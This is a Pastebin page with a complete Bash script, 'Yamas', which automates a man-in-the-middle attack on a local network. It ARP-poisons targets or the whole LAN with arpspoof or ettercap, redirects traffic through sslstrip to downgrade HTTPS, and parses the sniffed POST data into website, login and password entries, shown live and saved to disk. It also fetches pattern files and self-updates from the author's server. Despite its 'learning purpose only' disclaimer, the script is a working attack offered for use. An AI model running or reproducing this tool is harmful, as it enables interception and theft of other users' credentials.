API tools faq
paste
Advertisement
comaX

Yamas v0.9.4

comaX
Aug 1st, 2011
1,613
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 24.16 KB | None | 0 0
raw download clone embed print report
  1. #!/bin/bash
  2. # Bash script to launch man it the middle attack and sslstrip.
  3. # version 0.9 by comaX
  4. version="0.9.4"
  5. # if user ^C then execute cleanup function
  6. trap fast_cleanup SIGINT # will prolly output errors, but that's normal since it may try killing non-existing processes.
  7.  
  8. fast_cleanup() {
  9. echo -e "\n\n\033[31m ^C catched. Cleaning up, then exit.\033[m"
  10. if [[ ${looparseid} != "" ]]; then kill ${looparseid}
  11. fi
  12. if [[ ${sslstripid} != "" ]]; then kill ${sslstripid}
  13. fi
  14. if [[ ${tailgrepid} != "" ]]; then kill ${tailgrepid}
  15. fi
  16. if [[ "$1" = "-e" || "$2" = "-e" ]]; then
  17. killall ettercap
  18. else
  19. killall arpspoof
  20. fi
  21. echo "0" > /proc/sys/net/ipv4/ip_forward #stop ipforwarding
  22. iptables --flush            # there are probably too many resets here,
  23. iptables --table nat --flush        # but at least we're sure everything's clean
  24. iptables --delete-chain
  25. iptables --table nat --delete-chain
  26. if [ -e '/tmp/looparse.sh' ]; then
  27. rm /tmp/looparse.sh
  28. fi
  29. if [ -e '/tmp/grepcred.txt' ]; then
  30. rm /tmp/grepcred.txt
  31. fi
  32. echo -e "\033[32m[-] Clean up successful !\033[m"
  33. exit 0
  34. }
  35.  
  36. #Let's define some arguments that can be passed to the script :
  37. if [[ "$1" = "-p" || "$1" = "--parse" ]]; then #parse a given filename
  38.     if [[ $2 == "" ]]; then
  39. echo -e "No input file given. Quitting. \nusage : $0 -p <file>"
  40. exit 0
  41.     fi
  42. clear
  43. wget -q http://comax.fr/yamas/bt5/grepcred.txt -O /tmp/grepcred.txt
  44. echo -e "Parsing $2 for credentials.\n\n"
  45. cat $2 |
  46. awk -F "(" '/POST Data/ {for (i=1;i<=NF;i++) if (match($i,/POST Data/)) n=i; print "Website = \t"$2; getline; print $n"\n"}' |
  47. awk -F "&" '{for(i=1;i<=NF;i++) print $i }' |
  48. egrep -i -a -f /tmp/grepcred.txt |
  49. awk -F "=" '{if (length($2) < 4) print "";
  50. else if ($1 ~/Website/) print $0;
  51. else if ($1 ~/[Pp]/) print "Password = \t"$2"\n";
  52. else print "Login = \t"$2}' |
  53. uniq
  54. rm /tmp/grepcred.txt
  55. exit 0
  56. fi
  57.  
  58. if [[ "$1" = "-e" || "$2" = "-e" ]]; then
  59.     echo -e "\tYou will be using Ettercap instead of ARPspoof."
  60.     sleep 0.5
  61. fi
  62.    
  63. if [[ "$1" = "-h" || "$1" = "--help" ]]; then #define help message
  64. clear
  65. echo -e "You are running $0, version $version.
  66.  
  67.  
  68. usage : $0 [-h -c -p]* [-e -s]**
  69.     -h or --help  : Display this help message, disclaimer and exit.
  70.    
  71.     -c or --change: Display changelog and todo.
  72.     -e :    Use ettercap instead of ARPspoof. One might have one's reasons...
  73.             ARPspoof is default.
  74.     -p or --parse : Only parse the given <file>. Don't use wildcards.
  75.             Use > /output_file to print to a file.
  76.     -s : The script won't download anything. Make sure you have the needed files.
  77.     *Must be used alone
  78.     **Can be used at the same time.
  79.    
  80. \033[31m DISCLAIMER :\033[m
  81. This program is intended for learning purpose only. I do not condone hacking
  82. and wouldn't be held responsible for your actions. Only you would face legal
  83. consequences if you used this script for illegal activities.
  84.  
  85. \033[31m What I think should be learnt from this script :\033[m
  86. This script should teach you how easy it is to steal sensitive online
  87. credentials and how to protect you from it, provided you understand
  88. what this program does. The best way to understand what it does is
  89. to look at its source. This will also teach you basic shell scripting."
  90. exit 0
  91. fi
  92. if [[ "$1" = "-c" || "$1" = "--change" ]]; then #Changelog
  93. clear
  94. echo -e "\033[31m Changelog :\033[m
  95. Should be added in next version/revision :
  96. - Submit your ideas !
  97. - We're close to a final version !
  98.  
  99. Added in v0.9.x
  100. - Ettercap support (with -e switch in parameters)
  101. - Silent mode (-s)
  102. - Code enhancing.
  103.  
  104. Added in v0.8.x
  105. - Tail-greping log file so we can be sure there is traffic being sniffed
  106. - New parsing method from scratch : should be lighter, less CPU consuming, and most of all, outputs websites as well.
  107.    This should be tested though to ensure maximum reliability. Please report back !
  108.    0.8.5 : now grep from downloaded file, to allow more updates on parsing, without updating the whole script.
  109. - New -p option to allow only parsing a file. (v0.8.5)
  110. - More improvements.
  111. - Catching ^C and cleanup before quitting. (v0.8.5)
  112. - Realtime parsing menu. (V0.8.5)
  113.  
  114. \033[31mFeatures :\033[m
  115. - Output of credentials as they are sniffed in xterm window.
  116. - Log parsing for user-friendly output.
  117. - Both arpspoof and ettercap are suported
  118. - Network mapping for host discovery.
  119. - Can save \"dumped\" passwords to file.
  120. - Support for multiple targets on the network.
  121. - Can parse a single file.
  122. - Install sslstrip if needed.
  123. - Display ASCII tables for better readability of creds.
  124. - All options know default, pressing only enter should get you through.
  125. - Very neat and kewl ascii =D
  126.  
  127. \033[31m Credits :\033[m
  128. Credits go to all people on backtrack forums for their help and support,
  129. and google for being my best friend with scripting.
  130. Special kudos to ShortBuss for something I should have seen a
  131. long time ago (sslstrip before arpspoof) and many little improvements.
  132. And of course, to the people responsible for the tools I am using in this script.
  133.  
  134. Please criticize this program or submit ideas on the official thread at
  135. http://tinyurl.com/yamas-bt5 or send me a mail at contact.comax@gmail.com"
  136. exit
  137. fi
  138.  
  139. ### Message of the day ! <= Fucking useless, but who knows, I might want to warn about something directly, or tell a joke...
  140. if [[ "$1" = "-s" || "$2" = "-s" ]]; then
  141. message="\nNo message to display : you are running in silent mode"
  142. else
  143. wget -q http://comax.fr/yamas/bt5/message -O /tmp/message
  144. message=$(cat /tmp/message) #store it to variable
  145. rm /tmp/message #remove temp message file
  146. fi
  147.  
  148. ### Check for updates !
  149. if [[ "$1" = "-s" || "$2" = "-s" ]]; then
  150. echo "Not checking for a new version : silent mode."
  151. else
  152. wget -q http://comax.fr/yamas/bt5/version -O /tmp/version # Get last version number
  153. last_version=$(cat /tmp/version) #store it to variable
  154. rm /tmp/version #remove temp version file
  155.  
  156. if [[ $last_version > $version ]] ; then # Comparing to current version
  157.     echo -e "You are running version \033[31m$version\033[m, do you want to update to \033[32m$last_version\033[m? (Y/N)"
  158.     read update
  159.       if [[ $update = Y || $update = y ]] ; then
  160.     echo "[+] Updating script..."
  161.     wget -q http://comax.fr/yamas/bt5/yamas.sh -O $0
  162.     chmod +x $0
  163.     echo "[-] Script updated !"
  164.       if [[ $0 != '/usr/bin/yamas' ]] ; then
  165.       echo -e "Do you want to install it so that you can launch it with \"yamas\" ?"
  166.       read install
  167.         if [[ $install = Y || $install = y ]] ; then #do not proceed to install if using installed version : updating it already "installed" it over.
  168.         cp $0 /usr/bin/yamas
  169.         chmod +x /usr/bin/yamas
  170.         echo "Script should now be installed, launching yamas !"
  171.         sleep 3
  172.         yamas
  173.         exit 1
  174.             else echo "Ok, continuing with updated version..."
  175.       sleep 3
  176.       $0
  177.       exit 1
  178.         fi
  179.       fi
  180.     sleep 2
  181.     $0
  182.     exit 1
  183.       else echo "Ok, continuing with current version..."
  184.       fi
  185. else echo "No update available"
  186. fi
  187. fi
  188. ### End of update process
  189.  
  190. ### Install process
  191. if [[ ! -e '/usr/bin/yamas' ]] ; then
  192.   echo "Script is not installed. Do you want to install it ? (Y/N)"
  193.   read install
  194.   if [[ $install = Y || $install = y ]] ; then
  195.     cp -v $0 /usr/bin/yamas
  196.     chmod +x /usr/bin/yamas
  197.     rm $0
  198.     echo "Script should now be installed. Launching it !"
  199.     sleep 3
  200.     yamas
  201.     exit 1
  202.   else echo "Ok, not installing then !"
  203.   fi
  204. else echo "Script is installed"
  205. sleep 1
  206. fi
  207. ### End of install process
  208. clear
  209. echo -e "
  210.          _______  _______  _______  _______             _______      _____  
  211. |\     /|(  ___  )(       )(  ___  )(  ____ \  |\     /|(  __   )    / ___ \
  212. ( \   / )| (   ) || () () || (   ) || (    \/  | )   ( || (  )  |   ( (   ) )
  213. \ (_) / | (___) || || || || (___) || (_____   | |   | || | /   |   ( (___) |
  214.  \   /  |  ___  || |(_)| ||  ___  |(_____  )  ( (   ) )| (/ /) |    \____  |
  215.   ) (   | (   ) || |   | || (   ) |      ) |   \ \_/ / |   / | |         ) |
  216.   | |   | )   ( || )   ( || )   ( |/\____) |    \   /  |  (__) | _ /\____) )
  217.   \_/   |/     \||/     \||/     \|\_______)     \_/   (_______)(_)\______/ " # <= I love it.
  218. echo -e "===========================================================================
  219. =\033[31m       Welcome to Yet Another MITM Automation Script.\033[m                    =
  220. =\033[31m       Use this tool responsibly, and enjoy!\033[m                             =
  221. =       Feel free to contribute and distribute this script as you please. =
  222. =       Official thread : http://tinyurl.com/yamas-bt5                    =
  223. =       Check out the help (-h) to see new features and informations      =
  224. =       You are running version \033[32m$version\033[m                            =
  225. ==========================================================================="
  226. echo -e "\033[36mMessage of the day :\033[m"
  227. echo -e "$message"
  228. echo
  229. # Starting fresh : reset IP forward and iptables
  230. echo -e "\033[31m [+] Cleaning iptables \033[m"
  231. echo "0" > /proc/sys/net/ipv4/ip_forward
  232. iptables --flush
  233. iptables --table nat --flush
  234. iptables --delete-chain
  235. iptables --table nat --delete-chain
  236. echo "[-] Cleaned."
  237.  
  238. # Defining exit function and other ending features
  239.  
  240. cleanup() {
  241. echo
  242. echo -e "\033[31m[+] Killing processes and resetting iptable.\033[m"
  243.  
  244. kill ${sslstripid}
  245. kill ${looparseid}
  246. if [[ ${tailgrepid} != "" ]]; then kill ${tailgrepid}
  247. fi
  248. if [[ "$1" = "-e" || "$2" = "-e" ]]; then
  249. killall ettercap
  250. else
  251. killall arpspoof
  252. fi
  253. echo "0" > /proc/sys/net/ipv4/ip_forward #stop ipforwarding
  254. iptables --flush            # there are probably too many resets here,
  255. iptables --table nat --flush        # but at least we're sure everything's clean
  256. iptables --delete-chain
  257. iptables --table nat --delete-chain
  258. rm /tmp/looparse.sh
  259. rm /tmp/grepcred.txt
  260.  
  261. echo -e "\033[32m[-] Clean up successful !\033[m"
  262. echo -e "\nDo you want to keep the whole log file for further use or shall we delete it? (Y=keep)"
  263. echo "(If you want to keep it, it will be stored in /root/$filename.txt)"
  264. read -e keep
  265. if [[ $keep = "Y" || $keep = "y" ]] ; then # double brackets because double condition. || signifies "or"
  266.     cp /tmp/$filename.txt /root/$filename.txt #moving file
  267.     if [ -f "/root/$filename.txt" ]; then #check if it exists
  268.         echo "Log file copied !" #it does
  269.         else echo "Error while copying log file. Go check /tmp/ for $filename.txt" #it does not
  270.     fi
  271.     else echo "Logs not saved"
  272. fi
  273. echo
  274. echo "Do you want to save passwords to a file? (Y=keep)"
  275. echo "(If you want to keep it, it will be saved in /root/$filename.pass.txt)"
  276. read -e keeppd
  277. if [[ $keeppd = "Y" || $keeppd = "y" ]] ; then # double brackets because double condition. || signifies "or"
  278. if [[ "$1" = "-s" || "$2" = "-s" ]]; then
  279. echo "Not downloading needed 'grepcred.txt' file because of silent mode. Make sure you already have a copy or the parsing *will* fail."
  280. else
  281. wget -q http://comax.fr/yamas/bt5/grepcred.txt -O /tmp/grepcred.txt
  282. fi
  283. cat /tmp/$filename.txt |
  284. awk -F "(" '/POST Data/ {for (i=1;i<=NF;i++) if (match($i,/POST Data/)) n=i; print "Website = \t"$2; getline; print $n"\n"}' |
  285. awk -F "&" '{for(i=1;i<=NF;i++) print $i }' |
  286. egrep -i -a -f /tmp/grepcred.txt |
  287. awk -F "=" '{if (length($2) < 4) print "";
  288. else if ($1 ~/Website/) print $0;
  289. else if ($1 ~/[Pp]/) print "Password = \t"$2"\n";
  290. else print "Login = \t"$2}' |
  291. uniq >> /root/$filename.pass.txt # >> appends to a potential previous file.
  292.     if [ -f "/root/$filename.pass.txt" ]; then #check if it exists
  293.         echo "Passwords saved !" #it does
  294.         else echo "Error while saving passwords" #it does not
  295.     fi
  296.     else echo "Password saving skipped."
  297. fi
  298. rm /tmp/$filename.txt
  299. echo -e "\nTemporary files deleted."
  300.  
  301. if [ -f "/usr/bin/yamas" ]; then #check if script is already installed
  302.     echo
  303.     echo
  304.     exit 1 #if yes, exit.
  305.     else
  306.     echo "This script is not installed yet. Do you wish to install it, so that you can reuse it later on by simply issuing 'yamas' in console? (Y/N)"
  307.     read -e install
  308.         if [[ $install = "Y" || $install="y" ]] ; then
  309.         cp ./yamas.sh /usr/bin/yamas #copy and rename script
  310.         echo -e "\033[32m Script installed !\033[m"
  311.         else echo "Script not installed."
  312.         fi
  313.     fi
  314. exit 1
  315. }
  316.  
  317. updatestrip() {
  318.  wget -q http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz
  319.         tar zxvf sslstrip-0.9.tar.gz
  320.         cd sslstrip-0.9
  321.         python ./setup.py install > /dev/null
  322.         cd ..
  323.         rm sslstrip-0.9.tar.gz
  324. }
  325.  
  326. search=$(ip route show | awk '(NR == 1) { print $1}') #store gateway/24 for whole network mapping to variable
  327. #We put it here in the middle, because it could be used two times, but the gateway shouldn't change,
  328. #so there is no need to do it twice.
  329. rescan () {
  330. echo -e "\033[31m"
  331. nmap -sn $search | grep report | awk -F for '{ print $2 }' #host discorvey
  332. echo -en "\033[m"
  333. final
  334. }
  335.  
  336. add_target() {
  337. echo "Enter a new IP adress to attack :"
  338. read newip
  339. xterm -geometry 90x3-1-1 -T "Poisoning $newip" -e arpspoof -i $iface -t $newip $gateway 2>/dev/null & sleep 2
  340. final
  341. }
  342.  
  343. ascii() {
  344. clear
  345. if [[ "$1" = "-s" || "$2" = "-s" ]]; then
  346. echo "ASCII tables won't be available"
  347. echo "ASCII tables are not available" > /tmp/ascii
  348. else
  349. wget -q http://comax.fr/yamas/bt5/ascii -O /tmp/ascii
  350. cat /tmp/ascii
  351. rm /tmp/ascii
  352. fi
  353. final
  354. }
  355.  
  356. tailsecure() {
  357. xterm -geometry 50x50+10+10 -T "Tail-greping for secure references" -e "tail -f /tmp/$filename.txt | grep 'Resolving host:'" & tailgrepid=$!
  358. final
  359. }
  360.  
  361. rtparse() {
  362. echo -e "\n\nIn this menu, you can pause, resume, kill, or launch realtime parsing (RTP).
  363. 1. Pause RTP (keep xterm open for you to read, copypasta, etc.)
  364. 2. Resume RTP.
  365. 3. Kill RTP (stop and close xterm)
  366. 4. Re-launch RTP
  367. 5. Previous menu."
  368. read rtp
  369. if [ "$rtp" = "1" ] ; then
  370. echo -e "\033[33m[+]Pausing...\033[m"
  371. kill -19 ${looparseid}
  372. echo -e "\033[33m[-]Paused.\033[m"
  373. rtparse
  374.   elif [ "$rtp" = "2" ] ; then
  375. echo -e "\033[33m[+]Resuming...\033[m"
  376. kill -18 ${looparseid}
  377. echo -e "\033[33m[-]Resumed.\033[m"
  378. rtparse
  379.   elif [ "$rtp" = "3" ] ; then
  380. echo -e "\033[31m[+]Killing...\033[m"
  381. kill ${looparseid}
  382. echo -e "\033[33m[-]Killed.\033[m"
  383. rtparse
  384.   elif [ "$rtp" = "4" ] ; then
  385. echo -e "\033[32m[+]Launching...\033[m"
  386. xterm -hold -geometry 90x20-1-100 -T Passwords -e /tmp/looparse.sh & looparseid=$!
  387. sleep 2
  388. echo -e "\033[33m[-]Launched.\033[m"
  389. rtparse
  390.   elif [ "$rtp" = "5" ] ; then
  391. echo "Previous"
  392. final
  393.     else echo -e "\033[31mBad choice bro !\033[m\n" #was "motherfucker" during my tests.
  394.     rtparse
  395. fi
  396. }
  397.  
  398. final() {
  399. echo -e "\n\033[32mAttack is running\033[m. You can :
  400. 1. Rescan network.
  401. 2. Add a target (useless if targeting whole network).
  402. 3. Display ASCII correspondence table.
  403. 4. Tail-grep hosts through output (make sure there is traffic).
  404. 5. Real-time parsing...
  405. 6. Quit properly.
  406.  
  407. Enter the number of the desired option."
  408. read final
  409. if [ "$final" = "1" ] ; then
  410.   rescan
  411.   elif [ "$final" = "2" ] ; then
  412.   add_target
  413.   elif [ "$final" = "3" ] ; then
  414.   ascii
  415.   elif [ "$final" = "4" ] ; then
  416.   tailsecure
  417.   elif [ "$final" = "5" ] ; then
  418.   rtparse
  419.   elif [ "$final" = "6" ] ; then
  420.   cleanup
  421.     else echo -e "\033[31mBad choice bro !\033[m\n" #was "motherfucker" during my tests.
  422.     final
  423. fi
  424. }
  425.  
  426. ###############################End of functions#############################
  427.  
  428. # IP forwarding
  429. echo
  430. echo -e "\033[31m [+] Activating IP forwarding... \033[m"
  431. echo "1" > /proc/sys/net/ipv4/ip_forward
  432. echo "[-] Activated."
  433.  
  434. #Iptables
  435. echo
  436. echo -e "\033[31m [+] Configuring iptables... \033[m"
  437. echo -en "\033[31m To \033[mwhat port should the traffic be redirected to? (default = 8080)"
  438. echo
  439. read -e outport
  440. if [ "$outport" = "" ] ; then
  441. outport=8080
  442. echo -e "Port $outport selected as default.\n"
  443. fi
  444. echo -en "\033[31m From \033[mwhat port should the traffic be redirected to? (default = 80)"
  445. echo
  446. read -e inport
  447. if [ "$inport" = "" ] ; then
  448. inport=80
  449. echo -e "Port $inport selected as default.\n"
  450. fi
  451. echo -e "\n\033[33m Traffic from port $inport will be redirected to port $outport \033[m"
  452. iptables -t nat -A PREROUTING -p tcp --destination-port $inport -j REDIRECT --to-port $outport
  453. echo "[-] Traffic rerouted"
  454.  
  455. #Sslstrip
  456. echo
  457. echo -e "\033[31m [+] Activating sslstrip... \033[m"
  458. echo  "Choose filename to output : (default = yamas)"
  459. read -e filename
  460. if [ "$filename" = "" ] ; then
  461. filename="yamas"
  462. fi
  463. echo -e "\033[33m Sslstrip will be listening on port $outport and outputting log in /tmp/$filename.txt\033[m"
  464. #### BEGIN of update process ####
  465. if [[ "$1" = "-s" || "$2" = "-s" ]]; then
  466. echo "Not checking for updates here either. Sslstrip should be installed or attack will fail."
  467. sslstrip -f -a -k -l $outport -w /tmp/$filename.txt 2> /dev/null & sslstripid=$!
  468. else
  469. if [ -e '/usr/local/bin/sslstrip' ]; then # If sslstrip exists
  470.     sslversion=$(cat /usr/local/bin/sslstrip | grep "gVersion =" | awk -F \" ' {print $2} ') #store version to var
  471.     if [[ $sslversion < "0.9" ]]; then #if less than 0.9, ask to update
  472.     echo -e "Sslstrip version $sslversion is installed but a newer one (0.9) exists. Do you want to update \033[4mand\033[m install latest
  473. version ? [Y/N]
  474. Note that it will download it from the official website, but might be not supported by BT team on the forums as long as it's not in the repos. It
  475. should be safe to use though."
  476.     read -e sslupdate
  477.         if [[ $sslupdate = "Y" || $sslupdate = "y" ]] ; then #if yes, updating.
  478.     updatestrip
  479.         sslversion=$(cat /usr/local/bin/sslstrip | grep "gVersion =" | awk -F \" ' {print $2} ') #re-store version to var
  480.             if [[ $sslversion = "0.9" ]]; then echo -e "\n\033[32mInstall successful !\033[m"
  481.               else echo "\033[33mOops, install failed.\033[m Continuing with current version."
  482.             fi
  483.         else echo "All right, continuing with current version."
  484.         fi
  485.      elif [[ $sslversion = "0.9" ]]; then
  486.      echo -e "\n\033[32mSslstrip is up to date, continuing...\033[m"
  487.     fi
  488.  
  489. elif [ -x '/pentest/web/sslstrip/sslstrip.py' ]; then
  490. sslversion=$(cat /pentest/web/sslstrip/sslstrip.py | grep "gVersion =" | awk -F \" ' {print $2} ') #store version to var
  491.     if [[ $sslversion < "0.9" ]]; then #if less than 0.9, ask to update
  492.     echo -e "Sslstrip v$sslversion was found, not installed, but executable. Do you want to \033[4mU\033[mpdate or \033[4mC\033[montinue ? "
  493.     read -e sslupdate
  494.         if [[ $sslupdate = "U" || $sslupdate = "u" ]] ; then #if yes, updating.
  495.     updatestrip
  496.         sslversion=$(cat /usr/local/bin/sslstrip | grep "gVersion =" | awk -F \" ' {print $2} ') #re-store version to var
  497.             if [[ $sslversion = "0.9" ]]; then echo -e "\n\033[32mInstall successful !\033[m"
  498.             sslstrip -f -a -k -l $outport -w /tmp/$filename.txt 2> /dev/null & sslstripid=$!
  499.             sleep 3
  500.               else echo "\033[33mOops, install failed.\033[m Continuing with current, non installed version."
  501.               /pentest/web/sslstrip/sslstrip.py -f -a -k -l $outport -w /tmp/$filename.txt 2> /dev/null & sslstripid=$!
  502.         sleep 3
  503.             fi
  504.         else echo "All right, continuing with current, non-installed version."
  505.         /pentest/web/sslstrip/sslstrip.py -f -a -k -l $outport -w /tmp/$filename.txt 2> /dev/null & sslstripid=$!
  506.         sleep 3
  507.     fi
  508.     fi
  509. elif [ -e '/pentest/web/sslstrip/sslstrip.py' ]; then
  510.             echo "Sslstrip was found, but not installed and not executable. Making it executable... (not installing)"
  511.             chmod +x '/pentest/web/sslstrip/sslstrip.py'
  512.             if [ -x '/pentest/web/sslstrip/sslstrip.py' ]; then
  513.             echo "Now it is. Continuing..."
  514.                 /pentest/web/sslstrip/sslstrip.py -f -a -k -l $outport -w /tmp/$filename.txt 2> /dev/null & sslstripid=$!
  515.                 sleep 3
  516. else echo "Sslstrip couldn't be found. You might be using a wrong version of this script or it is not
  517. installed.
  518. You can download BT4r2 version of this script at http://tinyurl.com/mitm-yamas. To install sslstrip use
  519. apt-get install sslstrip. Do you want to install it ? (will quit after) Y/N"
  520.     read apti
  521.       if [[ $apti = "Y" || $apti = "y" ]] ; then
  522.     apt-get install sslstrip
  523.     exit 1
  524.       fi    
  525. fi
  526. fi
  527. fi
  528.  
  529. sleep 2 #let time for sslstrip to launch. Might be bit too much, but better prevent than heal.
  530. echo
  531. echo -e " [-] Sslstrip is running." # a bit redundant, but who cares?
  532. echo
  533.  
  534. #Arpspoofing
  535. echo
  536. echo -e "\033[31m [+] Activating ARP cache poisoning... \033[m"
  537. echo
  538. ip route show | awk '(NR == 2) { print "Gateway :", $3,"    ", "Interface :", $5}' #Output IP route show user-friendly
  539. iface=$(ip route show | awk '(NR == 2) { print $5}')
  540. gateway=$(ip route show | awk '(NR == 2) { print $3}') #store gateway ip
  541. echo
  542. echo "Enter IP gateway adress or press enter to use $gateway."
  543. read -e gateway
  544. if [ "$gateway" = "" ] ; then
  545. gateway=$(ip route show | awk '(NR == 2) { print $3}') #restore gateway ip since pressing enter set our var to null
  546. echo -e "$gateway selected as default.\n"
  547. fi
  548. echo
  549. echo "What interface would you like to use? It should match IP gateway as shown above. Press enter to use $iface."
  550. read -e iface
  551. if [ "$iface" = "" ] ; then
  552. iface=$(ip route show | awk '(NR == 2) { print $5}') #store default interface
  553. echo -e "$iface selected as default.\n"
  554. fi
  555. echo -e "\r"
  556. echo -e "We will target the whole network as default. You can \033[4md\033[miscover hosts and enter IP(s) manually by entering \033[4mD\033[m.
  557. Press enter to default."
  558. read -e choicearp
  559. echo
  560.  
  561. if [[ $choicearp = "D" || $choicearp = "d" ]] ; then
  562. echo
  563. echo -e "Do you want to map the network to show live hosts? (Y/N)   [This might take up to 30 secs, be patient]"
  564. read -e hosts
  565. echo -e "\033[31m "
  566.     if [[ $hosts = "Y" || $hosts = "y" ]] ; then
  567.     nmap -sn $search | grep report | awk -F for '{ print $2 }' #host discovery
  568.     echo -e "\033[m " # switch color back to white
  569.     else echo -e "\033[m "
  570.     fi
  571. echo -e "Please enter targets according to usage : IP1 IP2 IP3...
  572. \033[31m Beware ! This will spawn as many windows as input targets and might slow down performances. If that was the case, then use whole network targeting.\033[m "
  573. arpspoofi() { # We launch ARPspoof in different xterm windows to keep script running
  574. while [ "$1" != "" ]; do
  575. xterm -geometry 90x3-1-1 -T "Poisoning $1" -e arpspoof -i $iface -t $1 $gateway 2>/dev/null & sleep 2
  576. shift
  577. done
  578. echo -e "\033[33m Targeting $parameters on $gateway on $iface with ARPspoof\033[m"
  579. }
  580. ettercapi() { # We launch ARPspoof in different xterm windows to keep script running
  581. while [ "$1" != "" ]; do
  582. xterm -geometry 90x3-1-1 -T "Poisoning $1" -e ettercap -o -q -i $iface -T -M arp  /$1/ /$gateway/ 2>/dev/null & sleep 2
  583. shift
  584. done
  585. echo -e "\033[33m Targeting $parameters on $gateway on $iface with Ettercap\033[m"
  586. }
  587. read -e parameters
  588.     if [[ "$1" = "-e" || "$2" = "-e" ]]; then
  589.     ettercapi $parameters
  590.     else
  591.     arpspoofi $parameters
  592.     fi
  593.  
  594. else
  595.       if [[ "$1" = "-e" || "$2" = "-e" ]]; then
  596. xterm -geometry 90x3-1-1 -T ettercap -e ettercap -o -q -i $iface -T -M arp  // // &
  597. sleep 2
  598. echo -e "\033[33m Targeting the whole network on $gateway on $iface with Ettercap\033[m"
  599.       else
  600. xterm -geometry 90x3-1-1 -T arpspoof -e arpspoof -i $iface $gateway &
  601. sleep 2
  602. echo -e "\033[33m Targeting the whole network on $gateway on $iface with ARPspoof\033[m"
  603.       fi
  604. fi
  605.  
  606. echo -e "[-] Arp cache poisoning is launched. \033[31m Keep new window(s) running. \033[m"
  607.  
  608. echo -e "\n\033[32m Attack should be running smooth, enjoy.\033[m"
  609. echo
  610. echo
  611. echo "looparse(){" > /tmp/looparse.sh
  612. if [[ "$1" = "-s" || "$2" = "-s" ]]; then sleep 0.5
  613. else
  614. echo "wget -q http://comax.fr/yamas/bt5/grepcred.txt -O /tmp/grepcred.txt" >> /tmp/looparse.sh
  615. fi
  616. echo "while :
  617. do
  618.     clear
  619.     echo -e 'Note that %40 %21, etc. are ASCII chars. + means a space...\n'
  620.     cat /tmp/$filename.txt |
  621. awk -F \"(\" '/POST Data/ {for (i=1;i<=NF;i++) if (match(\$i,/POST Data/)) n=i; print \"Website = \t\"\$2; getline; print \$n\"\n\"}' |
  622. awk -F \"&\" '{for(i=1;i<=NF;i++) print \$i }' | #print each field on a new line
  623. egrep -i -f '/tmp/grepcred.txt' |
  624. awk -F \"=\" '{if (length(\$2) < 3) print \"\";
  625. else if (\$1 ~/[W]/) print \$0;
  626. else if (\$1 ~/[Pp]/) print \"Password = \t\" \$2\"\n\";
  627. else print \"Login = \t\t\", \$2}' |
  628. uniq
  629. sleep 7
  630. done
  631.  }
  632. looparse" >> /tmp/looparse.sh #We create a parsing script on-the-fly, chmod it, run it, kill it and remove it at the end.
  633. chmod +x /tmp/looparse.sh
  634. xterm -hold -geometry 90x20-1-100 -T Passwords -e /tmp/looparse.sh & looparseid=$! #here's the beauty
  635. sleep 2
  636. final #call the "final" function. Yes, it's the final one.
  637. ### End of the script fellas.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!